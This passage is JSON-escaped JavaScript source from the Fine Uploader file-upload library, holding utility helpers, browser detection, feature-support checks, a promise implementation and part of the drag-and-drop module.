  qq.format = function(str) {\n\n        var args =  Array.prototype.slice.call(arguments, 1),\n            newStr = str,\n            nextIdxToReplace = newStr.indexOf(\"{}\");\n\n        qq.each(args, function(idx, val) {\n            var strBefore = newStr.substring(0, nextIdxToReplace),\n                strAfter = newStr.substring(nextIdxToReplace + 2);\n\n            newStr = strBefore + val + strAfter;\n            nextIdxToReplace = newStr.indexOf(\"{}\", nextIdxToReplace + val.length);\n\n            // End the loop if we have run out of tokens (when the arguments exceed the # of tokens)\n            if (nextIdxToReplace < 0) {\n                return false;\n            }\n        });\n\n        return newStr;\n    };\n\n    qq.isFile = function(maybeFile) {\n        return window.File && Object.prototype.toString.call(maybeFile) === \"[object File]\";\n    };\n\n    qq.isFileList = function(maybeFileList) {\n        return window.FileList && Object.prototype.toString.call(maybeFileList) === \"[object FileList]\";\n    };\n\n    qq.isFileOrInput = function(maybeFileOrInput) {\n        return qq.isFile(maybeFileOrInput) || qq.isInput(maybeFileOrInput);\n    };\n\n    qq.isInput = function(maybeInput, notFile) {\n        var evaluateType = function(type) {\n            var normalizedType = type.toLowerCase();\n\n            if (notFile) {\n                return normalizedType !== \"file\";\n            }\n\n            return normalizedType === \"file\";\n        };\n\n        if (window.HTMLInputElement) {\n            if (Object.prototype.toString.call(maybeInput) === \"[object HTMLInputElement]\") {\n                if (maybeInput.type && evaluateType(maybeInput.type)) {\n                    return true;\n                }\n            }\n        }\n        if (maybeInput.tagName) {\n            if (maybeInput.tagName.toLowerCase() === \"input\") {\n                if (maybeInput.type && evaluateType(maybeInput.type)) {\n                    return true;\n                }\n            }\n        }\n\n        return false;\n    };\n\n    qq.isBlob = function(maybeBlob) {\n        if (window.Blob && Object.prototype.toString.call(maybeBlob) === \"[object Blob]\") {\n            return true;\n        }\n    };\n\n    qq.isXhrUploadSupported = function() {\n        var input = document.createElement(\"input\");\n        input.type = \"file\";\n\n        return (\n            input.multiple !== undefined &&\n                typeof File !== \"undefined\" &&\n                typeof FormData !== \"undefined\" &&\n                typeof (qq.createXhrInstance()).upload !== \"undefined\");\n    };\n\n    // Fall back to ActiveX is native XHR is disabled (possible in any version of IE).\n    qq.createXhrInstance = function() {\n        if (window.XMLHttpRequest) {\n            return new XMLHttpRequest();\n        }\n\n        try {\n            return new ActiveXObject(\"MSXML2.XMLHTTP.3.0\");\n        }\n        catch (error) {\n            qq.log(\"Neither XHR or ActiveX are supported!\", \"error\");\n            return null;\n        }\n    };\n\n    qq.isFolderDropSupported = function(dataTransfer) {\n        return dataTransfer.items &&\n            dataTransfer.items.length > 0 &&\n            dataTransfer.items[0].webkitGetAsEntry;\n    };\n\n    qq.isFileChunkingSupported = function() {\n        return !qq.androidStock() && //Android's stock browser cannot upload Blobs correctly\n            qq.isXhrUploadSupported() &&\n            (File.prototype.slice !== undefined || File.prototype.webkitSlice !== undefined || File.prototype.mozSlice !== undefined);\n    };\n\n    qq.sliceBlob = function(fileOrBlob, start, end) {\n        var slicer = fileOrBlob.slice || fileOrBlob.mozSlice || fileOrBlob.webkitSlice;\n\n        return slicer.call(fileOrBlob, start, end);\n    };\n\n    qq.arrayBufferToHex = function(buffer) {\n        var bytesAsHex = \"\",\n            bytes = new Uint8Array(buffer);\n\n        qq.each(bytes, function(idx, byt) {\n            var byteAsHexStr = byt.toString(16);\n\n            if (byteAsHexStr.length < 2) {\n                byteAsHexStr = \"0\" + byteAsHexStr;\n            }\n\n            bytesAsHex += byteAsHexStr;\n        });\n\n        return bytesAsHex;\n    };\n\n    qq.readBlobToHex = function(blob, startOffset, length) {\n        var initialBlob = qq.sliceBlob(blob, startOffset, startOffset + length),\n            fileReader = new FileReader(),\n            promise = new qq.Promise();\n\n        fileReader.onload = function() {\n            promise.success(qq.arrayBufferToHex(fileReader.result));\n        };\n\n        fileReader.onerror = promise.failure;\n\n        fileReader.readAsArrayBuffer(initialBlob);\n\n        return promise;\n    };\n\n    qq.extend = function(first, second, extendNested) {\n        qq.each(second, function(prop, val) {\n            if (extendNested && qq.isObject(val)) {\n                if (first[prop] === undefined) {\n                    first[prop] = {};\n                }\n                qq.extend(first[prop], val, true);\n            }\n            else {\n                first[prop] = val;\n            }\n        });\n\n        return first;\n    };\n\n    /**\n     * Allow properties in one object to override properties in another,\n     * keeping track of the original values from the target object.\n     *\n     * Note that the pre-overriden properties to be overriden by the source will be passed into the `sourceFn` when it is invoked.\n     *\n     * @param target Update properties in this object from some source\n     * @param sourceFn A function that, when invoked, will return properties that will replace properties with the same name in the target.\n     * @returns {object} The target object\n     */\n    qq.override = function(target, sourceFn) {\n        var super_ = {},\n            source = sourceFn(super_);\n\n        qq.each(source, function(srcPropName, srcPropVal) {\n            if (target[srcPropName] !== undefined) {\n                super_[srcPropName] = target[srcPropName];\n            }\n\n            target[srcPropName] = srcPropVal;\n        });\n\n        return target;\n    };\n\n    /**\n     * Searches for a given element (elt) in the array, returns -1 if it is not present.\n     */\n    qq.indexOf = function(arr, elt, from) {\n        if (arr.indexOf) {\n            return arr.indexOf(elt, from);\n        }\n\n        from = from || 0;\n        var len = arr.length;\n\n        if (from < 0) {\n            from += len;\n        }\n\n        for (; from < len; from += 1) {\n            if (arr.hasOwnProperty(from) && arr[from] === elt) {\n                return from;\n            }\n        }\n        return -1;\n    };\n\n    //this is a version 4 UUID\n    qq.getUniqueId = function() {\n        return \"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx\".replace(/[xy]/g, function(c) {\n            /*jslint eqeq: true, bitwise: true*/\n            var r = Math.random() * 16 | 0, v = c == \"x\" ? r : (r & 0x3 | 0x8);\n            return v.toString(16);\n        });\n    };\n\n    //\n    // Browsers and platforms detection\n    qq.ie = function() {\n        return navigator.userAgent.indexOf(\"MSIE\") !== -1 ||\n            navigator.userAgent.indexOf(\"Trident\") !== -1;\n    };\n\n    qq.ie7 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 7\") !== -1;\n    };\n\n    qq.ie8 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 8\") !== -1;\n    };\n\n    qq.ie10 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 10\") !== -1;\n    };\n\n    qq.ie11 = function() {\n        return qq.ie() && navigator.userAgent.indexOf(\"rv:11\") !== -1;\n    };\n\n    qq.edge = function() {\n        return navigator.userAgent.indexOf(\"Edge\") >= 0;\n    };\n\n    qq.safari = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Apple\") !== -1;\n    };\n\n    qq.chrome = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Google\") !== -1;\n    };\n\n    qq.opera = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Opera\") !== -1;\n    };\n\n    qq.firefox = function() {\n        return (!qq.edge() && !qq.ie11() && navigator.userAgent.indexOf(\"Mozilla\") !== -1 && navigator.vendor !== undefined && navigator.vendor === \"\");\n    };\n\n    qq.windows = function() {\n        return navigator.platform === \"Win32\";\n    };\n\n    qq.android = function() {\n        return navigator.userAgent.toLowerCase().indexOf(\"android\") !== -1;\n    };\n\n    // We need to identify the Android stock browser via the UA string to work around various bugs in this browser,\n    // such as the one that prevents a `Blob` from being uploaded.\n    qq.androidStock = function() {\n        return qq.android() && navigator.userAgent.toLowerCase().indexOf(\"chrome\") < 0;\n    };\n\n    qq.ios6 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 6_\") !== -1;\n    };\n\n    qq.ios7 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 7_\") !== -1;\n    };\n\n    qq.ios8 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 8_\") !== -1;\n    };\n\n    // iOS 8.0.0\n    qq.ios800 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 8_0 \") !== -1;\n    };\n\n    qq.ios = function() {\n        /*jshint -W014 */\n        return navigator.userAgent.indexOf(\"iPad\") !== -1\n            || navigator.userAgent.indexOf(\"iPod\") !== -1\n            || navigator.userAgent.indexOf(\"iPhone\") !== -1;\n    };\n\n    qq.iosChrome = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\"CriOS\") !== -1;\n    };\n\n    qq.iosSafari = function() {\n        return qq.ios() && !qq.iosChrome() && navigator.userAgent.indexOf(\"Safari\") !== -1;\n    };\n\n    qq.iosSafariWebView = function() {\n        return qq.ios() && !qq.iosChrome() && !qq.iosSafari();\n    };\n\n    //\n    // Events\n\n    qq.preventDefault = function(e) {\n        if (e.preventDefault) {\n            e.preventDefault();\n        } else {\n            e.returnValue = false;\n        }\n    };\n\n    /**\n     * Creates and returns element from html string\n     * Uses innerHTML to create an element\n     */\n    qq.toElement = (function() {\n        var div = document.createElement(\"div\");\n        return function(html) {\n            div.innerHTML = html;\n            var element = div.firstChild;\n            div.removeChild(element);\n            return element;\n        };\n    }());\n\n    //key and value are passed to callback for each entry in the iterable item\n    qq.each = function(iterableItem, callback) {\n        var keyOrIndex, retVal;\n\n        if (iterableItem) {\n            // Iterate through [`Storage`](http://www.w3.org/TR/webstorage/#the-storage-interface) items\n            if (window.Storage && iterableItem.constructor === window.Storage) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(iterableItem.key(keyOrIndex), iterableItem.getItem(iterableItem.key(keyOrIndex)));\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            // `DataTransferItemList` & `NodeList` objects are array-like and should be treated as arrays\n            // when iterating over items inside the object.\n            else if (qq.isArray(iterableItem) || qq.isItemList(iterableItem) || qq.isNodeList(iterableItem)) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            else if (qq.isString(iterableItem)) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(keyOrIndex, iterableItem.charAt(keyOrIndex));\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            else {\n                for (keyOrIndex in iterableItem) {\n                    if (Object.prototype.hasOwnProperty.call(iterableItem, keyOrIndex)) {\n                        retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);\n                        if (retVal === false) {\n                            break;\n                        }\n                    }\n                }\n            }\n        }\n    };\n\n    //include any args that should be passed to the new function after the context arg\n    qq.bind = function(oldFunc, context) {\n        if (qq.isFunction(oldFunc)) {\n            var args =  Array.prototype.slice.call(arguments, 2);\n\n            return function() {\n                var newArgs = qq.extend([], args);\n                if (arguments.length) {\n                    newArgs = newArgs.concat(Array.prototype.slice.call(arguments));\n                }\n                return oldFunc.apply(context, newArgs);\n            };\n        }\n\n        throw new Error(\"first parameter must be a function!\");\n    };\n\n    /**\n     * obj2url() takes a json-object as argument and generates\n     * a querystring. pretty much like jQuery.param()\n     *\n     * how to use:\n     *\n     *    `qq.obj2url({a:'b',c:'d'},'http://any.url/upload?otherParam=value');`\n     *\n     * will result in:\n     *\n     *    `http://any.url/upload?otherParam=value&a=b&c=d`\n     *\n     * @param  Object JSON-Object\n     * @param  String current querystring-part\n     * @return String encoded querystring\n     */\n    qq.obj2url = function(obj, temp, prefixDone) {\n        /*jshint laxbreak: true*/\n        var uristrings = [],\n            prefix = \"&\",\n            add = function(nextObj, i) {\n                var nextTemp = temp\n                    ? (/\\[\\]$/.test(temp)) // prevent double-encoding\n                    ? temp\n                    : temp + \"[\" + i + \"]\"\n                    : i;\n                if ((nextTemp !== \"undefined\") && (i !== \"undefined\")) {\n                    uristrings.push(\n                        (typeof nextObj === \"object\")\n                            ? qq.obj2url(nextObj, nextTemp, true)\n                            : (Object.prototype.toString.call(nextObj) === \"[object Function]\")\n                            ? encodeURIComponent(nextTemp) + \"=\" + encodeURIComponent(nextObj())\n                            : encodeURIComponent(nextTemp) + \"=\" + encodeURIComponent(nextObj)\n                    );\n                }\n            };\n\n        if (!prefixDone && temp) {\n            prefix = (/\\?/.test(temp)) ? (/\\?$/.test(temp)) ? \"\" : \"&\" : \"?\";\n            uristrings.push(temp);\n            uristrings.push(qq.obj2url(obj));\n        } else if ((Object.prototype.toString.call(obj) === \"[object Array]\") && (typeof obj !== \"undefined\")) {\n            qq.each(obj, function(idx, val) {\n                add(val, idx);\n            });\n        } else if ((typeof obj !== \"undefined\") && (obj !== null) && (typeof obj === \"object\")) {\n            qq.each(obj, function(prop, val) {\n                add(val, prop);\n            });\n        } else {\n            uristrings.push(encodeURIComponent(temp) + \"=\" + encodeURIComponent(obj));\n        }\n\n        if (temp) {\n            return uristrings.join(prefix);\n        } else {\n            return uristrings.join(prefix)\n                .replace(/^&/, \"\")\n                .replace(/%20/g, \"+\");\n        }\n    };\n\n    qq.obj2FormData = function(obj, formData, arrayKeyName) {\n        if (!formData) {\n            formData = new FormData();\n        }\n\n        qq.each(obj, function(key, val) {\n            key = arrayKeyName ? arrayKeyName + \"[\" + key + \"]\" : key;\n\n            if (qq.isObject(val)) {\n                qq.obj2FormData(val, formData, key);\n            }\n            else if (qq.isFunction(val)) {\n                formData.append(key, val());\n            }\n            else {\n                formData.append(key, val);\n            }\n        });\n\n        return formData;\n    };\n\n    qq.obj2Inputs = function(obj, form) {\n        var input;\n\n        if (!form) {\n            form = document.createElement(\"form\");\n        }\n\n        qq.obj2FormData(obj, {\n            append: function(key, val) {\n                input = document.createElement(\"input\");\n                input.setAttribute(\"name\", key);\n                input.setAttribute(\"value\", val);\n                form.appendChild(input);\n            }\n        });\n\n        return form;\n    };\n\n    /**\n     * Not recommended for use outside of Fine Uploader since this falls back to an unchecked eval if JSON.parse is not\n     * implemented.  For a more secure JSON.parse polyfill, use Douglas Crockford's json2.js.\n     */\n    qq.parseJson = function(json) {\n        /*jshint evil: true*/\n        if (window.JSON && qq.isFunction(JSON.parse)) {\n            return JSON.parse(json);\n        } else {\n            return eval(\"(\" + json + \")\");\n        }\n    };\n\n    /**\n     * Retrieve the extension of a file, if it exists.\n     *\n     * @param filename\n     * @returns {string || undefined}\n     */\n    qq.getExtension = function(filename) {\n        var extIdx = filename.lastIndexOf(\".\") + 1;\n\n        if (extIdx > 0) {\n            return filename.substr(extIdx, filename.length - extIdx);\n        }\n    };\n\n    qq.getFilename = function(blobOrFileInput) {\n        /*jslint regexp: true*/\n\n        if (qq.isInput(blobOrFileInput)) {\n            // get input value and remove path to normalize\n            return blobOrFileInput.value.replace(/.*(\\/|\\\\)/, \"\");\n        }\n        else if (qq.isFile(blobOrFileInput)) {\n            if (blobOrFileInput.fileName !== null && blobOrFileInput.fileName !== undefined) {\n                return blobOrFileInput.fileName;\n            }\n        }\n\n        return blobOrFileInput.name;\n    };\n\n    /**\n     * A generic module which supports object disposing in dispose() method.\n     * */\n    qq.DisposeSupport = function() {\n        var disposers = [];\n\n        return {\n            /** Run all registered disposers */\n            dispose: function() {\n                var disposer;\n                do {\n                    disposer = disposers.shift();\n                    if (disposer) {\n                        disposer();\n                    }\n                }\n                while (disposer);\n            },\n\n            /** Attach event handler and register de-attacher as a disposer */\n            attach: function() {\n                var args = arguments;\n                /*jslint undef:true*/\n                this.addDisposer(qq(args[0]).attach.apply(this, Array.prototype.slice.call(arguments, 1)));\n            },\n\n            /** Add disposer to the collection */\n            addDisposer: function(disposeFunction) {\n                disposers.push(disposeFunction);\n            }\n        };\n    };\n}());\n","/* globals define, module, global, qq */\n(function() {\n    \"use strict\";\n    if (typeof define === \"function\" && define.amd) {\n        define(function() {\n            return qq;\n        });\n    }\n    else if (typeof module !== \"undefined\" && module.exports) {\n        module.exports = qq;\n    }\n    else {\n        global.qq = qq;\n    }\n}());\n","/*global qq */\nqq.version = \"5.11.8\";\n","/* globals qq */\nqq.supportedFeatures = (function() {\n    \"use strict\";\n\n    var supportsUploading,\n        supportsUploadingBlobs,\n        supportsFileDrop,\n        supportsAjaxFileUploading,\n        supportsFolderDrop,\n        supportsChunking,\n        supportsResume,\n        supportsUploadViaPaste,\n        supportsUploadCors,\n        supportsDeleteFileXdr,\n        supportsDeleteFileCorsXhr,\n        supportsDeleteFileCors,\n        supportsFolderSelection,\n        supportsImagePreviews,\n        supportsUploadProgress;\n\n    function testSupportsFileInputElement() {\n        var supported = true,\n            tempInput;\n\n        try {\n            tempInput = document.createElement(\"input\");\n            tempInput.type = \"file\";\n            qq(tempInput).hide();\n\n            if (tempInput.disabled) {\n                supported = false;\n            }\n        }\n        catch (ex) {\n            supported = false;\n        }\n\n        return supported;\n    }\n\n    //only way to test for Filesystem API support since webkit does not expose the DataTransfer interface\n    function isChrome21OrHigher() {\n        return (qq.chrome() || qq.opera()) &&\n            navigator.userAgent.match(/Chrome\\/[2][1-9]|Chrome\\/[3-9][0-9]/) !== undefined;\n    }\n\n    //only way to test for complete Clipboard API support at this time\n    function isChrome14OrHigher() {\n        return (qq.chrome() || qq.opera()) &&\n            navigator.userAgent.match(/Chrome\\/[1][4-9]|Chrome\\/[2-9][0-9]/) !== undefined;\n    }\n\n    //Ensure we can send cross-origin `XMLHttpRequest`s\n    function isCrossOriginXhrSupported() {\n        if (window.XMLHttpRequest) {\n            var xhr = qq.createXhrInstance();\n\n            //Commonly accepted test for XHR CORS support.\n            return xhr.withCredentials !== undefined;\n        }\n\n        return false;\n    }\n\n    //Test for (terrible) cross-origin ajax transport fallback for IE9 and IE8\n    function isXdrSupported() {\n        return window.XDomainRequest !== undefined;\n    }\n\n    // CORS Ajax requests are supported if it is either possible to send credentialed `XMLHttpRequest`s,\n    // or if `XDomainRequest` is an available alternative.\n    function isCrossOriginAjaxSupported() {\n        if (isCrossOriginXhrSupported()) {\n            return true;\n        }\n\n        return isXdrSupported();\n    }\n\n    function isFolderSelectionSupported() {\n        // We know that folder selection is only supported in Chrome via this proprietary attribute for now\n        return document.createElement(\"input\").webkitdirectory !== undefined;\n    }\n\n    function isLocalStorageSupported() {\n        try {\n            return !!window.localStorage &&\n                // unpatched versions of IE10/11 have buggy impls of localStorage where setItem is a string\n                qq.isFunction(window.localStorage.setItem);\n        }\n        catch (error) {\n            // probably caught a security exception, so no localStorage for you\n            return false;\n        }\n    }\n\n    function isDragAndDropSupported() {\n        var span = document.createElement(\"span\");\n\n        return (\"draggable\" in span || (\"ondragstart\" in span && \"ondrop\" in span)) &&\n            !qq.android() && !qq.ios();\n    }\n\n    supportsUploading = testSupportsFileInputElement();\n\n    supportsAjaxFileUploading = supportsUploading && qq.isXhrUploadSupported();\n\n    supportsUploadingBlobs = supportsAjaxFileUploading && !qq.androidStock();\n\n    supportsFileDrop = supportsAjaxFileUploading && isDragAndDropSupported();\n\n    supportsFolderDrop = supportsFileDrop && isChrome21OrHigher();\n\n    supportsChunking = supportsAjaxFileUploading && qq.isFileChunkingSupported();\n\n    supportsResume = supportsAjaxFileUploading && supportsChunking && isLocalStorageSupported();\n\n    supportsUploadViaPaste = supportsAjaxFileUploading && isChrome14OrHigher();\n\n    supportsUploadCors = supportsUploading && (window.postMessage !== undefined || supportsAjaxFileUploading);\n\n    supportsDeleteFileCorsXhr = isCrossOriginXhrSupported();\n\n    supportsDeleteFileXdr = isXdrSupported();\n\n    supportsDeleteFileCors = isCrossOriginAjaxSupported();\n\n    supportsFolderSelection = isFolderSelectionSupported();\n\n    supportsImagePreviews = supportsAjaxFileUploading && window.FileReader !== undefined;\n\n    supportsUploadProgress = (function() {\n        if (supportsAjaxFileUploading) {\n            return !qq.androidStock() && !qq.iosChrome();\n        }\n        return false;\n    }());\n\n    return {\n        ajaxUploading: supportsAjaxFileUploading,\n        blobUploading: supportsUploadingBlobs,\n        canDetermineSize: supportsAjaxFileUploading,\n        chunking: supportsChunking,\n        deleteFileCors: supportsDeleteFileCors,\n        deleteFileCorsXdr: supportsDeleteFileXdr, //NOTE: will also return true in IE10, where XDR is also supported\n        deleteFileCorsXhr: supportsDeleteFileCorsXhr,\n        dialogElement: !!window.HTMLDialogElement,\n        fileDrop: supportsFileDrop,\n        folderDrop: supportsFolderDrop,\n        folderSelection: supportsFolderSelection,\n        imagePreviews: supportsImagePreviews,\n        imageValidation: supportsImagePreviews,\n        itemSizeValidation: supportsAjaxFileUploading,\n        pause: supportsChunking,\n        progressBar: supportsUploadProgress,\n        resume: supportsResume,\n        scaling: supportsImagePreviews && supportsUploadingBlobs,\n        tiffPreviews: qq.safari(), // Not the best solution, but simple and probably accurate enough (for now)\n        unlimitedScaledImageSize: !qq.ios(), // false simply indicates that there is some known limit\n        uploading: supportsUploading,\n        uploadCors: supportsUploadCors,\n        uploadCustomHeaders: supportsAjaxFileUploading,\n        uploadNonMultipart: supportsAjaxFileUploading,\n        uploadViaPaste: supportsUploadViaPaste\n    };\n\n}());\n","/*globals qq*/\n\n// Is the passed object a promise instance?\nqq.isGenericPromise = function(maybePromise) {\n    \"use strict\";\n    return !!(maybePromise && maybePromise.then && qq.isFunction(maybePromise.then));\n};\n\nqq.Promise = function() {\n    \"use strict\";\n\n    var successArgs, failureArgs,\n        successCallbacks = [],\n        failureCallbacks = [],\n        doneCallbacks = [],\n        state = 0;\n\n    qq.extend(this, {\n        then: function(onSuccess, onFailure) {\n            if (state === 0) {\n                if (onSuccess) {\n                    successCallbacks.push(onSuccess);\n                }\n                if (onFailure) {\n                    failureCallbacks.push(onFailure);\n                }\n            }\n            else if (state === -1) {\n                onFailure && onFailure.apply(null, failureArgs);\n            }\n            else if (onSuccess) {\n                onSuccess.apply(null, successArgs);\n            }\n\n            return this;\n        },\n\n        done: function(callback) {\n            if (state === 0) {\n                doneCallbacks.push(callback);\n            }\n            else {\n                callback.apply(null, failureArgs === undefined ? successArgs : failureArgs);\n            }\n\n            return this;\n        },\n\n        success: function() {\n            state = 1;\n            successArgs = arguments;\n\n            if (successCallbacks.length) {\n                qq.each(successCallbacks, function(idx, callback) {\n                    callback.apply(null, successArgs);\n                });\n            }\n\n            if (doneCallbacks.length) {\n                qq.each(doneCallbacks, function(idx, callback) {\n                    callback.apply(null, successArgs);\n                });\n            }\n\n            return this;\n        },\n\n        failure: function() {\n            state = -1;\n            failureArgs = arguments;\n\n            if (failureCallbacks.length) {\n                qq.each(failureCallbacks, function(idx, callback) {\n                    callback.apply(null, failureArgs);\n                });\n            }\n\n            if (doneCallbacks.length) {\n                qq.each(doneCallbacks, function(idx, callback) {\n                    callback.apply(null, failureArgs);\n                });\n            }\n\n            return this;\n        }\n    });\n};\n","/*globals qq, document, CustomEvent*/\nqq.DragAndDrop = function(o) {\n    \"use strict\";\n\n    var options,\n        HIDE_ZONES_EVENT_NAME = \"qq-hidezones\",\n        HIDE_BEFORE_ENTER_ATTR = \"qq-hide-dropzone\",\n        uploadDropZones = [],\n        droppedFiles = [],\n        disposeSupport = new qq.DisposeSupport();\n\n    options = {\n        dropZoneElements: [],\n        allowMultipleItems: true,\n        classes: {\n            dropActive: null\n        },\n        callbacks: new qq.DragAndDrop.callbacks()\n    };\n\n    qq.extend(options, o, true);\n\n    function uploadDroppedFiles(files, uploadDropZone) {\n        // We need to convert the `FileList` to an actual `Array` to avoid iteration issues\n        var filesAsArray = Array.prototype.slice.call(files);\n\n        options.callbacks.dropLog(\"Grabbed \" + files.length + \" dropped files.\");\n        uploadDropZone.dropDisabled(false);\n        options.callbacks.processingDroppedFilesComplete(filesAsArray, uploadDropZone.getElement());\n    }\n\n    function traverseFileTree(entry) {\n        var parseEntryPromise = new qq.Promise();\n\n        if (entry.isFile) {\n            entry.file(function(file) {\n                var name = entry.name,\n                    fullPath = entry.fullPath,\n                    indexOfNameInFullPath = fullPath.indexOf(name);\n\n                // remove file name from full path string\n                fullPath = fullPath.substr(0, indexOfNameInFullPath);\n\n                // remove leading slash in full path string\n                if (fullPath.charAt(0) === \"/\") {\n                    fullPath = fullPath.substr(1);\n                }\n\n                file.qqPath = fullPath;\n                droppedFiles.push(file);\n                parseEntryPromise.success();\n            },\n            function(fileError) {\n                options.callbacks.dropLog(\"Problem parsing '\" + entry.fullPath + \"'.  FileError code \" + fileError.code + \".\", \"error\");\n                parseEntryPromise.failure();\n            });\n        }\n        else if (entry.isDirectory) {\n            getFilesInDirectory(entry).then(\n                function allEntriesRead(entries) {\n                    var entriesLeft = entries.length;\n\n                    qq.each(entries, function(idx, entry) {\n                        traverseFileTree(entry).done(function() {\n                            entriesLeft -= 1;\n\n                            if (entriesLeft === 0) {\n                                parseEntryPromise.success();\n                            }\n                        });\n                    });\n\n                    if (!entries.length) {\n                        parseEntryPromise.success();\n                    }\n                },\n\n                function readFailure(fileError) {\n                    options.callbacks.dropLog(\"Problem parsing '\" + entry.fullPath + \"'.  FileError code \" + fileError.code + \".\", \"error\");\n                    parseEntryPromise.failure();\n                }\n            );\n        }\n\n        return parseEntryPromise;\n    }\n\n    // Promissory.  Guaranteed to read all files in the root of the passed directory.\n    function getFilesInDirectory(entry, reader, accumEntries, existingPromise) {\n        var promise = existingPromise || new qq.Promise(),\n            dirReader = reader || entry.createReader();\n\n        dirReader.readEntries(\n            function readSuccess(entries) {\n                var newEntries = accumEntries ? accumEntries.concat(entries) : entries;\n\n                if (entries.length) {\n                    setTimeout(function() { // prevent stack overflow, however unlikely\n                        getFilesInDirectory(entry, dirReader, newEntries, promise);\n                    }, 0);\n                }\n                else {\n                    promise.success(newEntries);\n                }\n            },\n\n            promise.failure\n        );\n\n        return promise;\n    }\n\n    function handleDataTransfer(dataTransfer, uploadDropZone) {\n        var pendingFolderPromises = [],\n            handleDataTransferPromise = new qq.Promise();\n\n        options.callbacks.processingDroppedFiles();\n        uploadDropZone.dropDisabled(true);\n\n        if (dataTransfer.files.length > 1 && !options.allowMultipleItems) {\n            options.callbacks.processingDroppedFilesComplete([]);\n            options.callbacks.dropError(\"tooManyFilesError\", \"\");\n            uploadDropZone.dropDisabled(false);\n            handleDataTransferPromise.failure();\n        }\n        else {\n            droppedFiles = [];\n\n            if (qq.isFolderDropSupported(dataTransfer)) {\n                qq.each(dataTransfer.items, function(idx, item) {\n                    var entry = item.webkitGetAsEntry();\n\n                    if (entry) {\n                        //due to a bug in Chrome's File System API impl - #149735\n                        if (entry.isFile) {\n                            droppedFiles.push(item.getAsFile());\n                        }\n\n                        else {\n                            pendingFolderPromises.push(traverseFileTree(entry).done(function() {\n                                pendingFolderPromises.pop();\n                                if (pendingFolderPromises.length === 0) {\n                                    handleDataTransferPromise.success();\n                                }\n                            }));\n                        }\n                    }\n                });\n            }\n            else {\n                droppedFiles = dataTransfer.files;\n            }\n\n            if (pendingFolderPromises.length === 0) {\n                handleDataTransferPromise.success();\n            }\n        }\n\n        return handleDataTransferPromise;\n    }\n\n    function setupDropzone(dropArea) {\n        var dropZone = new qq.UploadDropZone({\n            HIDE_ZONES_EVENT_NAME: HIDE_ZONES_EVENT_NAME,\n            element: dropArea,\n            onEnter: function(e) {\n                qq(dropArea).addClass(options.classes.dropActive);\n                e.stopPropagation();\n            },\n            onLeaveNotDescendants: function(e) {\n                qq(dropArea).removeClass(options.classes.dropActive);\n            },\n            onDrop: function(e) {\n                handleDataTransfer(e.dataTransfer, dropZone).then(\n                    function() {\n                        uploadDroppedFiles(droppedFiles, dropZone);\n                    },\n                    function() {\n                        options.callbacks.dropLog(\"Drop event DataTransfer parsing failed.  No files will be uploaded.\", \"error\");\n                    }\n                );\n            }\n        });\n\n        disposeSupport.addDisposer(function() {\n            dropZone.dispose();\n        });\n\n        qq(dropArea).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropArea).hide();\n\n        uploadDropZones.push(dropZone);\n\n        return dropZone;\n    }\n\n    function isFileDrag(dragEvent) {\n        var fileDrag;\n\n        qq.each(dragEvent.dataTransfer.types, function(key, val) {\n            if (val === \"Files\") {\n                fileDrag = true;\n                return false;\n            }\n        });\n\n        return fileDrag;\n    }\n\n    // Attempt to determine when the file has left the document.  It is not always possible to detect this\n    // in all cases, but it is generally possible in all browsers, with a few exceptions.\n    //\n    // Exceptions:\n    // * IE10+ & Safari: We can't detect a file leaving the document if the Explorer window housing the file\n    //                   overlays the browser window.\n    // * IE10+: If the file is dragged out of the window too quickly, IE does not set the expected values of the\n    //          event's X & Y properties.\n    function leavingDocumentOut(e) {\n        if (qq.firefox()) {\n            return !e.relatedTarget;\n        }\n\n        if (qq.safari()) {\n            return e.x < 0 || e.y < 0;\n        }\n\n        return e.x === 0 && e.y === 0;\n    }\n\n    function setupDragDrop() {\n        var dropZones = options.dropZoneElements,\n\n            maybeHideDropZones = function() {\n                setTimeout(function() {\n                    qq.each(dropZones, function(idx, dropZone) {\n                        qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropZone).hide();\n                        qq(dropZone).removeClass(options.classes.dropActive);\n                    });\n                }, 10);\n            };\n\n        qq.each(dropZones, function(idx, dropZone) {\n            var uploadDropZone = setupDropzone(dropZone);\n\n            // IE <= 9 does not support the File API used for drag+drop uploads\n            if (dropZones.length && qq.supportedFeatures.fileDrop) {\n                disposeSupport.attach(document, \"dragenter\", function(e) {\n                    if (!uploadDropZone.dropDisabled() && isFileDrag(e)) {\n                        qq.each(dropZones, function(idx, dropZone) {\n                            // We can't apply styles to non-HTMLElements, since they lack the `style` property.\n                            // Also, if the drop zone isn't initially hidden, let's not mess with `style.display`.\n                            if (dropZone instanceof HTMLElement &&\n                                qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR)) {\n\n                                qq(dropZone).css({display: \"block\"});\n                            }\n                        });\n                    }\n                });\n            }\n        });\n\n        disposeSupport.attach(document, \"dragleave\", function(e) {\n            if (leavingDocumentOut(e)) {\n                maybeHideDropZones();\n            }\n        });\n\n        // Just in case we were not able to detect when a dragged file has left the document,\n        // hide all relevant drop zones the next time the mouse enters the document.\n        // Note that mouse events such as this one are not fired during drag operations.\n        